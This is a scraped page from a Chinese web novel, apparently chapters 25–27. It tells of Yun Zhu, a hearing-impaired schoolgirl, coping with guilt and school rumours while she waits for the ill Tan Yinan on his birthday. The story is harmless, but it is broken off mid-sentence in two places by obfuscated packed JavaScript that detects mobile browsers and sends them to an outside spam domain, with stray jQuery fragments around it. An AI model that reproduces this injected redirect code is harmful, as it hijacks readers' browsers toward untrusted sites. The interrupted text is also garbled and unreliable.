云竹抬手遮挡住亮光,将近一周不见天日,眼睛受不了这么刺激的光线。 正是下班高峰期的时间,耳边传来车辆引擎发动的声音,混着汽油味的风席卷地砖缝隙的野草而过。 身上的伤好了差不多,出院时医生告诉她,不能剧烈运动,会引起伤口裂开。王婆婆也说,返校后早晨跑操和体育课能尽量不上就不上,给老师说明情况要请假条。 云竹答应了。 回家路上,又下起茫茫小雨。 这是入了秋的天气,云竹从未注意过季节过渡期,身边的人开始陆陆续续穿长袖,空气从闷热的潮湿变成丝丝凉意的冰冷。 又是筒子楼。 云竹站在楼下往上看。 她现在已经没有勇气上楼了。 苏琦已经不是她的妈妈了,哪怕是血管上的母女关系,自从了断后,妈妈这个称呼硬生生变为毫不相干的全姓全名。 谭以南说过,这里可以当做是她的家。 可是云竹现在连面对家的大门勇气都消失殆尽。 她怎么有脸还回家呢? 是她给王婆婆一家带来了灭顶之灾,害的谭以南受伤,害的王婆婆成天以泪洗面,害的谭以南父母心情崩溃。 怎么还会回家。 怎么还会有人接受她? 书上说,麻绳专挑细处断,厄运专找苦命人。 这倒是像,世上所有的苦难都找上她了。 云竹不免失笑,也不知道这种环境下怎么笑得出来,但她此时此刻就是想笑,笑着被诅咒的命运,被诅咒的人生。 要不要离开呢? 但是她又能去哪里? 当个流浪乞丐,漂泊到哪里,估计哪里也会因为她再次受灾难吧。 云竹摩挲了一下耳边的助听器,她可以不上学,早早辍学去打工,反正下学期的学费她也交不起,刚好这段时间把欠别人的,害别人的损失费用都还清,一年还不够,没关系,她还年轻,十几年后总能还清。 想到这里,她加快了步子,拾阶而上,用谭以南给她的备用钥匙打开王婆婆家的门。 脚步轻巧,云竹站好,面对着铺上塑料膜的桌面,从口袋里摸出苏琦给的二百块钱,这点钱塞牙缝都不够,甚至连医药费的十分之一都不足,但是她只有这些钱。 她只有微不足道的二百块钱。 ……哈哈。 真够叫人笑话的。 大脑里交织在一起如线团般的思维在这一瞬间解开,云竹想通了,想透彻了,想明白了,自己以后的路自己走,不能依赖别人。 十七岁的她,正在踏破成年人的门槛前进。 红钞票的油污擦干净,云竹将这两张纸币压在一起,用纸巾盒盖上,防止被穿堂风吹跑。 可正当转身离开时,身后的开门声令她回过神来—— “云竹丫头,你回来了啊。” 云竹心头一颤。 她克制住自己,没回头。 没敢回头。 “吓死我了,我这一大把年纪可经不住吓啊,你这孩子,上午我听查房的护士说,你跑了,我还以为被你那人渣爹给拐跑了,诶呦,真的吓坏我了。”王婆婆一副欣喜若狂的样子,“你回家来,真好。” 好什么好? 灾星回家,扫把星回家。 …… 好什么好?好什么好? 云竹真是没看到身上的一点好。 “你回家来,是不是饿了?等着,我换上拖鞋,穿好围腰,我给你呀,做饭去!”王婆婆声音比之前也疲惫了许多。 云竹仰起脸,努力不让眼泪顺着脸颊再次涌出。 “你咋不吭声?哎,我忘了,你大伤初愈,肯定疼吧,我知道,小姑娘都怕疼,你先坐沙发上,茶几上是南南上周买的苏打饼干,你要真饿极了,先拆开吃几包,压压饥。”王婆婆走过来拍拍她的肩膀,“今晚吃啥,还是西红柿豆角子面吗?” 云竹克制住不受控制的大幅度呼吸。 她不懂。 她不明白。 自己明明是一切悲剧的始作俑者,为什么还是会有人对她好? 云竹想拒绝,可看着王婆婆苍老期待的目光,话到嘴边又变成了:“……好,谢谢婆婆。” 终究是拒绝不了。 天花板上的风扇呼呼呼转悠,纯白色扇叶渐渐变成米黄色,旋转速度越来越快,但也没快到凉快的风直冲着人吹的地步。 云竹捡了一捆长豆角,双腿合拢,腿上放着不锈钢盆,“王婆婆。” 正在洗豆芽的王婆婆闻言,“咋了?” 云竹兜兜转转,做了无数次心理斗争,也幻想过得到什么样的答案都会流泪的基础,最后还是问出口:“你、你们,不怪我吗?” 王婆婆淘豆芽的动作停止,转过头,“怪什么怪,可怜的女娃娃,你才是受害者。” “可是都是因为我,才害的你们一家变成这个样子。” “说的这叫什么话!” “……不是这样吗?”云竹迷茫,择长豆角的手也悬空停放。 “傻丫头,你动动脑子,想想,家世可怜,这不是咱这个年纪能左右的,只能顺着天意。你那人渣爹,地疙流氓,找到你是迟早的事情,难道他不找到你,就变成大善人好人了?江山易改,本性难移,说不定还会有其他人被他打呢。” 云竹一时反驳不出来话。 “婆婆不怪你,婆婆心疼你;南南不怪你,南南也心疼你,要不然,他为啥冲出来帮你?年轻气盛的小伙子,做事还是没轻没重,都不会等警车开来了再上去帮忙,唉,这也不行,那需要时间,万一到场了,咱家云竹被打破相了咋整哟?”王婆婆嘴巴絮絮叨叨。 上了年纪的老人嘴巴闲不住,总爱说些话,也不管当事人在不在身旁,反正说就说了,不用憋在心里,这想想,那想想,主打一个不内耗,这也就是泼辣嘴巴快的老年人活久的原因。云竹在班里写作业时没少听说过同学吐槽自家爷爷奶奶太爱唠叨了,简直把耳朵堵上还能长茧子的程度。 可云竹不这么觉得,她认为听长辈唠叨也是一种解闷。听年纪大、人生阅历丰富的人讲话,发表对某件事情的见解,有时候也是一种思维的支线。 王婆婆继续唠叨,“每个人都决定不了自己生来便拥有什么,会失去什么,用我家老头子的话说,就是命不好和命好,只能看投胎巧不巧,这其中的缘由嘛,谁都没办法看长远。命好就命好,大家都羡慕,命不好,就去奋斗,将来说不定比命好的日子还要幸福。有的人晚年运势好,就是这个道理。” 云竹听闻久久不语。 “诶,瞧,你看我这老婆子的这记性,话又说跑题了。话又说回来,等那人渣,社会败类进监狱了,咱也刚好是为民除害了,像他这种货|色,等到老了,还会倚老卖老霸凌刚出社会的孩子们,这就叫坏人变老了。”王婆婆尽心尽力说道。 但她不知道的是,面对着大门的云竹,早已憋不住眼泪。 “我真的一点都没有错吗?”她试图在身上找罪恶感,来填补自己产生愧疚心灵的原因。 “你有啥错误?”王婆婆板起脸,“都没人怪你。” “可是谭以南的父母……” “这两个人的意见你不用听,他们说的都是气话,错不在你,错的是那个社会败类。” 云竹心情好了一点,她的灰暗人生总是被一些温暖时刻点亮,“那,那个人……” 王婆婆自然知道她口中说的人是谁,脸色一青,“跑了,地疙流氓就是精道,呲溜一下就跑了,没抓到,都知道法律不好惹,他忙着跑,起码这几天云竹丫头不会有事了……这几天警察还在抓捕。” 云竹紧紧握住衣角,“……好。” 上午从医院出来后,她就不知道谭以南的消息了。虽然王婆婆说,谭以南受伤和她没有关系,错在那个卖瓜男人,可归根结底,那个男人是她的生父,和她有血缘关系。 就算谭以南表面不说什么,云竹心里还会很慌。 她不知道该怎么面对。 云竹心脏像是被握在手里摩挲出汗。 “谭以南,怎么样了?” 王婆婆听到这个名字,面上的哀伤终于消散了几分,“南南情况有所好转,刚抢救成功,心率一直不好,医生那个专业术语我也不知道咋说,太专业的听不懂。后来大早上我闺女下楼买早点时,那个护士跟我说,南南昨天半夜的心率突然加快了,后续恢复正常。” 云竹也听得头脑发雾,“这是好情况吗?” “对,估计过不了几天就醒了。”王婆婆松一口气,“这件事,你别太担心,也别有心理上的压力,千万不要有负罪感,等南南出院后回家,你跟他正常相处就行。啊。” 云竹点点头。 “还有,客厅的桌子上放的两百块钱,我都看到了,你这孩子,真的是……唉,你自己拿去,这是你妈妈留给你的。”王婆婆脸色一沉,“别想用钱打发我,除了我这里,你还能去哪?一个小姑娘家家,这么年轻,跑到社会上吃苦?” 提到还清费,云竹再也忍不住了,“谭以南的手术费一定很贵,我只有二百块钱了……婆婆你没工作,只有养老金,这几年的积蓄全垫上手术费了,以后日子肯定很难过……” “你这傻孩子,诶呦——”王婆婆一听到云竹呜咽着,从嘴里颤巍巍吐出几个字,下一刻停下手里的活,甩甩手上的淘菜水,往围腰上一抹,走两步抱住哭得浑身发抖的云竹。 “手术费又有多少钱?还有医疗保险呢,孩子。唉。”王婆婆空出一只手帮她擦去眼泪,又想想手刚摸完菜刀,有菜味,转过身抽出纸巾帮她擦一擦。 “就是太懂事了,懂事的让人心疼……造孽啊,为啥这么好的孩子非要遭遇这种事?”王婆婆终于也忍不住,两个人相知不到一年的、年龄差高达几十岁的隔辈亲重重抱在一起,“以后不要想这些事了,好不好?以后的日子都会好起来的,都会好起来的,不是有个成语叫什么,佛极泰来?还是什么来泰的?我这年纪啥也记不住了……” 云竹抱着王婆婆的胳膊,拽着 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云竹心里嘀咕着,还是后悔的心里占据多,在学校没朋友的日子可真难熬——但要是高一上学期时,这对她来说算不了什么,还挺享受独来独往的自由感。但这半年早已习惯程慕在耳边咋咋呼呼唠唠叨叨,乍一没有了还挺不适应。 她也没有那胆子去主动交新朋友。班里有人有固定的玩伴和饭搭子,这样一猛踏进别人的社交圈,会造成困扰。 暂时风平浪静。 这只是表面,然而表面的薄膜会有破碎之时。 最后一节下课,中午去食堂吃饭,云竹端着不锈钢盘子,在茫茫人群中寻找空位时,旁边隔壁班的女生手臂碰到云竹的菜盘子,汤饭汁水撒了一地,滚烫的菜汤沾到女生的胳膊肘上。 “啊!怎么回事啊?你走路不看路吗?!”高马尾女生朝她怒吼。 云竹吓得一啰嗦,也不管真实经过是什么样,条件反射已经率先做出了反应,“对不起对不起!” “对不起有什么用——” 对不起有什么用? 这句话云竹也想过,想过透彻。 确实没用。 区区三个字,根本无法挽回造成的结果,无法挽回被水果刀捅伤的谭以南,无法挽回被烫伤的对面女同学。 ……像是徒劳。 意外制造的这一场动静,吸引了食堂内不少同学的注意。 “那……我……”云竹磕磕绊绊道,焦急注视对面女同学的被油污沾到的外套,情急之下,她从口袋里掏出卫生纸递给她。 这件衣服我赔你。 是正常的赔礼道歉,但是云竹说不出口。 她没钱。 也不可能再去求助王婆婆,上次进医院的医药费和谭以南的手术费,都是王婆婆一家掏的钱。欠他们的够多了…… “我什么我?我这件衣服可是名牌刚出的新款呢……真服了我靠,今天真倒霉。”女同学嫌弃的甩甩手,接过卫生纸,嘴里依然抱怨着,“真的是,原本前天考试没考好,心情差,好不容易有食欲去吃饭还被私生女给碰瓷了。” 云竹瞳孔微微睁大。 私生女这三个字无疑是像针尖一样直直戳进心窝,鲜血直流。 助听器品质好,但也在此时将品质好的优良性能发挥到了极致,将周遭的一切议论声传递进耳朵。 “私生女?” “什么私生女?什么啊,我怎么一点也不知道?这个长得文文静静的是私生女?” “村里刚通网吧,这都不知道,学校都传开了,咱班班长以前见过她,上周在医院发烧去拾药,在医院连廊上看到她家属说她是私生女啥的。” “我去,真劲爆啊!真的假的?” “你看她现在那窘迫的样,肯定是真的喽~” 云竹脸都憋红了,半天支吾说不出一句话来,她在尝试接受自己的性格,但内心的厌恶还是时不时占据上风,“对不起……我以后补偿你,请给我时间……” “……”女同学瞥了她一眼,扯着嘴,“还是算了吧,饶你一回,我听说你妈跟别人跑了,你也没钱,这点给我赔衣服的客套话就不用说了啊。你也怪可怜的,我刚刚说的话你别放在心上,我这个人就这样,人瞅直,说话也直。” 说完高马尾女生便走了,重新打了一碗饭找了个空位置坐下,周遭人群如潮水般退散,可议论声仍然不绝于耳。 云竹脸上火辣辣的,低着头,盯着自己的鞋子看。 为什么会这样?她从来不和班里人往来?曾经也没有亏欠过谁…… 为什么会有人知道她家里的事情? 为什么大家都叫她私生女? …… 云竹用力忍住眼泪,这几天倒霉的不成样子,她端着饭菜不锈钢盘子,找了个远一点的空位坐下,刚拿完筷子过来,就见对面的位置摆了一碗稀饭,这一看就是有人占位。 ——对面有人。 谁会和一个出身不好的私生女坐的近? 云竹将筷子放到盘子上,坐下后,看到一个人影由远到近,直觉告诉她这是坐在她对面的人。 那个人边走边说:“云竹,你还认得我吗?” 26.Chapter 26 云竹抬眼。 对面是楚彩。 校服里面套了一件珍珠米色内搭,校服外套随意地挂在身上,拉锁拉链完全没有拉上。 “你忘了?程慕没走之前我们还在一起聊过呢。”楚彩笑了笑,随后用筷子夹住一块红烧紫茄子,动作间,一双明媚眸波光流转。 “没忘。”云竹喝了口稀饭。 “我们好久没有见面了。”楚彩继续说。 “嗯。” “这么冷淡?也对,我刚刚想起来那天在教室甩脸色是我不对,程慕转学之前和我说明情况了,真的很抱歉,是我误会你了。”楚彩一脸认真,“她情急之下做的选择,我并不认同,相反,她转学走了,反而给留在学校的你带来了天大的麻烦。” 这倒是事实。 云竹没吭声。 “我不知道该怎么样你才能接受我的道歉,虽然刚刚那个打饭的女生说话很难听……你不原谅我也没关系,每个人都有拒绝的权利。”楚彩说话、吃饭的动作同样是温婉有礼貌的。 “没有。我没有讨厌你。”云竹咬了一口小笼包,“当时情况危机,谁也没想到会发生这样的事情,程慕她那个性子,我明白她,估计是无心之举,但情急之下,谁也不好说。” “怪不得事情结束后程慕马上转走了,敢情她没脸见你。”楚彩给云竹夹了一块肥瘦均匀的五花肉,“给你,多吃点,这不是学校卖的,这是我妈做的,等到大早上跑完操在校门口给我。” “……谢谢。”肉都夹到云竹的菜盘子里,哪有什么拒绝的道理,总不可能让人家夹回去。 “还是那句话,学校就是个小型社会,趋利避害体现地淋漓尽致,你多看着自己点,有些人说话就是难听,喜欢在别人后面嚼舌根造谣。”楚彩也端起碗喝了一口稀饭,“她们说你私生女,可谁的出生身份又能是自己选择的?都是跟风嘲笑别人,总会有报应。” 字里行间一提到“私生女”这三个字,云竹肩膀一颤,久久不语。 “嗯。你说得对。”云竹埋头吃饭,想问问程慕转校后,现在怎么样了,但又觉得以现在的立场,没法问出口,只好卡在喉咙眼里。 楚彩觉察到她有话要说,“你要说什么吗?” “程慕……” 楚彩恍然,“哦对,她转校前告诉我,她……” “我没怪罪她。”云竹字眼清晰无比,“我从来没有怪罪过她,她是我的第一个朋友,我知道她当时有难处,我也有难处——但是,现在时间过去了,时间既然过去,那就没有回头追溯的必要了。” 楚彩沉默,静静地用筷子夹盘里的红烧土豆,“你说的有道理。” “诶对,你来了,怎么没见谭以南回来?”楚彩面不改色说了句。 云竹压低了肩,不想让同学知道真相,“他请假了。” “怎么天天请假?” “不知道。” “我这学期在班里填表时看到,谭以南的学籍是从外省转过来的,想不通,为什么从一线城市跑到我们这边鸟不拉屎的鬼地方?”楚彩居然也是个话唠。 云竹忽然想起在王婆婆家,谭以南的回答。 “体验生活吧。”她将原答案复制粘贴。 “什么?放着富家少爷的生活不过,跑到我们这边的贫民窟来吃苦,脑子有毛病吧?”楚彩啧了一声。 脑子有毛病的谭以南即将出院。 云竹在校这几天的生活可谓是风平浪静。她不住宿,王婆婆让她回家住,说走读可比住宿的条件好多了。 回家路上也没有遇到什么可疑的尾随人影,云竹暗暗松了口气,她那个人渣亲爹估计忙着逃命呢,不会在这里逗留报复。 云竹在王婆婆家里沉默惯了,逆来顺受惯了。把帆布包的带子从身上卸下来,放到沙发上,掏出作业开始写时,王婆婆就坐在她对面剥大葱。 王婆婆将手里泛黄的葱叶子扔进垃圾桶,“最近咋样了,云竹丫头?” 云竹停下手中笔,“都还不错。” 云竹也没有和王婆婆分享在学校里的日常趣事,只是这趣事和云竹没有太大关系。她笑点高,有时候同学之间发生的小事不理解。 她提起话题,“谭以南回来了吗?” 王婆婆垂着眼,“马上该出院了,可怜这孩子,下个月月初过十八岁呢,我得包点他爱吃的虾仁饺子。” “下个月几号?” “一号。” “原来是十一月一号,他刚好比我大四个月。” “云竹丫头是三月份生的啊,三月好,三月春,万物复苏的季节。” 云竹笑笑不说话。 名字是苏琦取的,刚开始也是翻了好久的字典,来来回回换了多少个名字,最后定下云竹。生长在软绵云朵里的竹子,柔软又坚韧。 只可惜云竹只继承了“柔软”。 “南南他爹妈,唉,我都不知道该怎么说。”王婆婆叹了口气,“只能说他们两口子,爱南南吧,确实爱,但不爱他吧,又确实不爱。” 云竹静静地听着,写字声音随之减小。 “南南刚出事那会,他爹妈带着他到处跑到处求医,花了不少大价钱,但一点效果也没有。后来有了颂颂,我闺女就把重心放在颂颂身上了。”王婆婆看过来,拍拍手掌手背,“你说这俩孩子,手心手背都是肉,咋有不疼老大只疼老二的?后来一听南南情况有所好转,又忙着生意回去了。” 云竹这时十分迫切想问问谭以南得的什么病,但良好的素质告诉她不应该打探别人的隐私。 如果真想知道,谭以南会告诉她的。 没有告诉就说明,这件事情不适合对她说。 听着王婆婆念叨,话头又转移到云竹身上,“你这几天在学校咋样?上课能听懂不能?婆婆没上过高中,也不咋么识字,我听王大妈家的老大说,咱们这的高中又苦又累,起早贪黑,丫头你能受得了不?” “能受得了,能受得了。”云竹头一次听到有人关心她的高中生活,心中不免滋味感慨万千,“都习惯了。” “还是那句话,你身上有伤,能不跑操就不跑操啊。” “我都给老师请假了,婆婆放心。” “好孩子。” * 好孩子云竹等王婆婆做完饭下去接谭以南上来,她偷偷溜进房间,坐在床边打开手机,看一下今天是几号。 距离谭以南的生日还有半个月的时间。 这半个月,能干什么呢? 主要是,云竹也没有钱去买什么贵重礼物,做diy手工艺品,男生会喜欢这种吗? 不如去问问王婆婆。 但是婆婆现在不在家。 从未听说过谭以南在学校玩得好的朋友,和她一样,独来独往惯了,是大部分学生中的异类。 这种被排挤的感觉,十分熟悉,云竹也惺惺相惜了起来。 两个人惺惺相惜的距离越来越近。 “嘎吱——”门打开。 云竹愣怔着看到门外的人,“……怎么只有你回来了?” 话刚说出口便大感不妙。 她又把双手背后,轻轻扯着衣袖,“你回来了。” 雨水沿着修长的手指节流淌,透明流动显得骨感美。点点水珠汇聚在黑色雨伞尖,谭以南动手轻轻甩几下,冒着寒气的雨滴打在地面上。 “嗯。我回来了。”谭以南淡淡道,他顺势把湿透的雨伞收在一旁,搁在门后的墙角处。 云竹说不出话来,想说点什么缓解下气氛,可话到嘴边又不知道说什么好。 眼神中浸透了雨雾,水光流转,这双眼睛的主人继续说道:“怎么不说话?不欢迎我么?” 云竹被噎了一下,“欢、欢迎。” 原来事情根本没有她想得那么坏,没有她想得所有发展进入了死胡同。负面情绪酝酿的大作用,只是把当时弱小无助的她逼进了死胡同。 云竹终于发自内心笑出来,笑得荡然,“欢迎回家,谭以南。” 谭以南右手抵着唇旁,轻咳几声,“你所在的地方,就是家的位置。” 云竹只敢用余光瞥他。 他双目凝视云竹。 “在医院躺了很多天,刚开门的一瞬间,家具摆放都焕然一新,没有看到你,还以为搬家了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136742|177945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “不会搬家的,这里有我们三个人在,这是一个普通的、温暖的小家。” “嗯。” “你只会说嗯。”云竹扭头看过来。 “好。” “……”云竹哑然无声。 共同经历了患难死别,云竹倒是对谭以南也没有那么怕了,回想起王婆婆说的话,“你下个月过生日吗?” “对。” 云竹坐在椅子边,双手托腮,“过十八岁吗?好快,你的十八岁一定是明亮璀璨的。” “明亮璀璨,没有那么明亮。” “怎么会?你家境首先就不差,我听程慕说,你原先学习很好,学什么东西都快,说明先天学习底子就不错,长大后出国留学什么的,学历镀一层金,也能在社会上混得不错。” “我不会出国。” 云竹笑了,“真稀奇。” “这有什么好稀奇的,能活一天是一天。”谭以南没给云竹追问的机会,又说,“那你呢?” “……不知道,这我没有考虑过。”云竹抬头看着天花板上慢悠悠旋转的风扇,“我这个水平,稳定发挥的就是本科,我还不知道将来去哪个城市发展。如果高考时助听器再出什么差错,我心态会崩塌的。” 云竹歪头瞧他,“你不出国,在国内哪个省发展?” 谭以南眸光微动,“没想过。” 云竹打开手机,“我看了看日历,下个月月初正好是周日,生日准备怎么过?” 谭以南说:“平常过,和普通日子一样。” 云竹:“那你生日的那天下午,来筒子楼的后喷泉公园一趟,我有东西要给你。” 谭以南:“生日礼物?” “对。” 谭以南刚想说不用,但是话到嘴边却鬼使神差同意了。 谭以南只好又问:“我过生日这件事,姥姥跟你说的?” “嗯。” “你不也是?复读机?” “……我才不是复读机。”云竹笑着想哭,这估计是老人说的乐极生悲。 云竹眼角泛出泪花,她转身走进卧室,“谭以南,你还疼吗?” “不疼。”起码现在不疼。 “对不起。”云竹深吸一口气,“我活了这么多年,有些道理,我都懂,但是我还是明白,那个人是我亲爹,他犯下的错误,我也有一定责任。都说父债子偿嘛。” “责任不在你。”谭以南冷静说,“但是如果道歉能让你莫名拥有的负罪感减轻,我可以勉强应下。” “他伤你,伤得深不深?” “还好,不太深,我年轻气盛,很快就痊愈了。” 惜字如金的人终于话多了一次。 “我听苏……我妈妈说,他这个人骨子里就坏,你以后见到他,赶紧跑,不要想着和他斗殴,你会受伤,会疼,王婆婆见了也会心疼你。”云竹难得板起脸,眼底倒映出认真的亮光。 “嗯,好,听你的。”谭以南想都没想答应了,“那你呢?” “我?”云竹以为他在说遇到坏人的反应,“和你一样,都是青少年,力气抵不过成年人,肯定看到他就跑。我那个爹,不是好人。” 谭以南斜靠在墙边,盯着坐在凳子上的云竹,白炽灯从头顶倾泻而下,两个人都落了满身的银辉。 “不,我是说,你看到我受伤,你也会像姥姥一样吗?” 云竹眨眨眼,“什么?我虽然没有钱,但照顾人的能力还是有的,王婆婆她年纪大了,手脚不利索,我可以来帮忙。” 一口气话说太多,自己上一秒说的什么也忘的一干二净。于是自顾自地根据逻辑补充完整回答。 谭以南听闻后,唇中吐出两个字,“笨蛋。”这都听不懂。 云竹挠挠头,这时格外冷静,心理素质得到生死般的锻炼后,整个人也变了许多。意识到有些事情不能兜兜转转,直接说出来才是最好的选择。 比如—— “要是我看到你受伤,我会比王婆婆更心疼你。” 侧着看,谭以南原本正常起伏的胸膛倏地停下。 他的面孔隐没在黑暗中。 27.Chapter 27 此话一出,万籁俱寂。 云竹面色平淡,事外人一样,丝毫不觉得说了什么话。 谭以南坐在她对面,沉默不语。 云竹瞥了他一眼,不知道想起了什么,转头问道:“你会转学吗,谭以南?” “不会。”他的语气不容置疑。 云竹声音小了,“喔,我还以为你会和程慕一样……” “程慕是谁?”谭以南回忆起教室压根没有这号人。 云竹淡淡笑,“我同桌,她上个月就转学了,听说是去了市里的高中,挺好的,市里的教育资源总比县城里的好太多。” “你很担心我转走?”谭以南听出言外之意。 云竹没好气瞥他一眼,“怎么……确实是这样,你一走,我去上学,这家里除了王婆婆就没有人了。” 谭以南默不作声。 窗外雨丝飘洒,绵连剔透的水线击打在玻璃窗上,发出闷闷的声响。另一扇窗户开在屋子最里面,正对着那张占据了屋子四分之一空间的木板床。 窗框是老旧发黑的木头,早已剥落起皮,露出底下暗沉的原木。窗玻璃蒙着经年累月的灰尘,饶是爱干净的王婆婆擦了一遍又一遍,照样还是模糊不清。 “时间久了,就走了。离开了,再也不见了。”云竹仰起脸,静默几秒,看向窗外,“十年之后,谁还会记得谁?” 这真是个悲伤的话题。 风雨欲来时,谭以南淡淡开口: “十年后,光阴流转,影子重叠。你我会融为各自过往中的一部分。” 时间记得,你我在这世间。 吹同一阵风,嗅同一簇花,看满天云层赶着暴雨跑。 谭以南站起身,走在云竹身后,关好窗户合上窗纱。白墙上没有粘贴壁纸,春去秋来多少年间墙壁一尘不染,丝毫看不出年代感。 他的身影渐渐模糊,视野缓缓聚焦在木门。锁眼响动,屋内的人单手推开门,一身纯棉长袖t恤,披了一件灰色外套。 门缝里瞧不见云竹,床上的夏凉被已经换成了绣着大红牡丹花的厚被子。 谭以南咳嗽了一声,右手抵住下颚,脸色苍白,一丝生活气也没有。 老家白墙上,生锈的钉子深深陷在墙壁里,钉身承载一副旧日历,泛黄的纸张上,红色笔迹圈住的十一月一号逐渐清晰。从窗外透进来的微光淡成浅浅光晕投影在日历。 一切是美好景象。 打开手机,上午九点十一分。 下一秒,手机微信上的联系人发过来消息。 【药吃了没?】 谭以南垂下眼睫,不急不慢回复,【吃了。】 【你这孩子,脾气来的快也去的快,去年还死活不吃药呢,必须逼着你吃才行,怎么又改变主意了?】 谭以南愣了好久,最终回复道:【有人说服了我。】 【谁能说服你?是撑不住疼痛才吃的吧,越是有渺茫的希望越要试一试,就赌千分之一的概率。】 谭以南笑了,直接长按语音键:“不用了,王医生。我之所以活下去,不是怕疼,也不怕死,身体上的疼对我算不了什么,死亡也是,人都有一死,我们所有人都逃不过。” 对方静了下来。 谭以南给自己倒了一杯热水,右手继续按着语音:“是一个人说服了我,她看起来比我过得还惨,我曾好奇,活成这样怎么还有口气,后来发现我们立场不同,看待事物的角度也不同。” “她常常站在生的希望,仰视世间发展;我向来以万事万物终归尘土的心态,对所有不管不问。” “偶尔我也会想,换个心态去体验倒计时的日子。” 双方静默几秒。 仍然是谭以南率先打破宁静,“我还能活多少天?” 王医生官方回答:“我们身为医生不能告诉患者关于寿命的答案。”怕又回到萎靡不振的状态。 王医生:“你胳膊上的红疹子还在蔓延吗?” 云竹和王婆婆不在家,谭以南也就没有防着谁的心理,他挽起日复一日戴上的长袖,面色不改,“对。” 谭以南对生活的态度可谓是……积极向上,回光返照。 听发送出来的语音,再听几遍,这让王医生蹙眉感到不安,他先是给谭以南的父母打了电话,商量几件事就挂断,开始计策。 推开铁门,彼时光线带着流动的金色从软绵厚重的云层透出,风一吹,轻盈线条四面八方席卷而去,掠过街巷边站岗的萧瑟梧桐树,花坛边的女贞淡紫色果实,水泥路上的蚂蚁群。最后拂起云竹蓬松头发边的山竹发卡。 深秋的风,裹着草木枯萎时特有的、潮湿的气息,一阵阵拂过寂静的后公园,空气里浮动着不知名秋花甜腻又微苦的芬芳。 云竹坐在那张老旧的木质长椅上,背脊挺得有些僵直。膝盖上,放着一个用剪辑过的纸箱仔细包裹起来的方形盒子。纸盒的棱角被手指反复摩挲得有些发软,边缘微微翘起。 她没钱买超市里高贵精致的礼物盒。那次二百块钱给王婆婆,王婆婆疯狂摆手说不要,留着自己花。 但云竹又舍不得这钱,自己凑活着过,绝不动这大金额的费用。 二百块钱对她来说是一笔巨款了。 谭以南十八岁生日礼物,算不上多少钱,是云竹跟着王婆婆在假期抽空学手艺——织围巾,但可惜她初次尝试,学艺不精,织的纹路歪歪扭扭,惨不忍睹。 算了,织都织出来了,丑成这个样子,能逗谭以南笑出来也算物尽其用了,没白费功夫。 曦光穿过头顶略显萧瑟的梧桐树冠,浓绿和金黄交织在一起形成色彩浓烈的画卷,在她身上、盒子上投下细碎摇晃的光斑,如同流淌的金色溪流。她微微侧过头,目光长久地停留在后公园入口那条被三角梅花架半掩的小径上。 深紫色的花穗沉甸甸地垂下来,在风里轻轻摇曳出的光影在那条小径上缓慢地移动、拉长。 距离约定好的时间已经过去了十分钟。 谭以南迟到了。 云竹紧张地额头冒汗,打开手机再次确认了一眼时间。 每一阵风吹过三角梅花枝带起的沙沙声都让她搁在盒子上的手指微微蜷缩一下,屏息凝神,仿佛下一秒,那个熟悉清瘦的身影就会穿行在花帘中,带着点惯常的、掩饰性的冷静,出现在路的尽头。 可是他没有。 谭以南还没有出现。 再等等,再等等。 他们一定会再相见。 时间在寂静的等待里被无限拉长,光斑在盒子上缓慢地爬行,从明亮的金色,渐渐沉淀为一种温暖的、带着倦意的橘黄。 光线渐渐暗淡下去,白日里喧嚣的虫鸣不知何时低伏,四周只剩下风穿过枝叶时更显空旷的呜咽。入口的小径彻底隐没在沉沉的暮色里。这让云竹越发感到心慌,她不知道怎么回事,谭以南迟到了就再等等,再等等。 再次掏出手机,打开微信联系人。 说来两个人有各自的联系方式时也巧,王婆婆从隔壁邻居那里听说家里都会有个家族群,于是那天晚上王婆婆满心欢喜说自己不会整这些高科技的东西,让谭以南拉个家族群,以后就说明是一家人了。 谭以南也不好违了姥姥的愿,只好冷脸加了云竹微信,再后来,也有了私联。 云竹在冷风下啰啰嗦嗦打字,【谭以南,你来了吗?我在后公园开满花的地方等你。】 发送成功, 对方没回复。 胸腔里某个地方,像被一只无形的手缓慢地攥紧,起初只是闷闷的,继而传来清晰的、令人窒息的钝痛。 云竹低下头,手指有些僵硬地掀开盒盖的一角,颜色和手艺都惨不忍睹的围巾瘫在一旁,一股酸涩毫无预兆地冲上鼻腔,眼眶发热。她猛地吸了一口气,仰起头,用力眨了眨眼,将那点不合时宜的湿意逼退。 一分钟后。 对方没回。 两分钟后, 对方没回。 三分钟后, 对方没回。 …… 两个小时后, 对方依然没回。 谭以南失约了。 他的性子不可能迟到,有事情也会说原因。 就在这时,一种极其低沉、极其庞大的震动,毫无预兆地穿透了她寂静的世界。不是声音,而是一种沉闷的、来自大地深处的共鸣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16158920|177945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 更是一种空气被无形巨物猛烈挤压时产生的、令人心慌的震颤感,顺着长椅的木质骨架,清晰地传导到她的身体里。心脏骤然一缩。 云竹几乎是本能地抬起头,抱着盒子站起身,循着那震动的源头望去。 暮色四合的苍茫天际,呈现一种混沌而苍凉的灰蓝色。一片巨大的、闪烁着冰冷金属光泽的飞机,从她头顶那片越来越狭小的灰蓝天幕中,碾压过去。 巨大的机翼切开沉闷的空气,尾部拖曳出两道笔直的白色云气,在灰暗底色上不断延伸,顺势将天空割裂为两半。 云竹仰起脸,愣怔在原地。 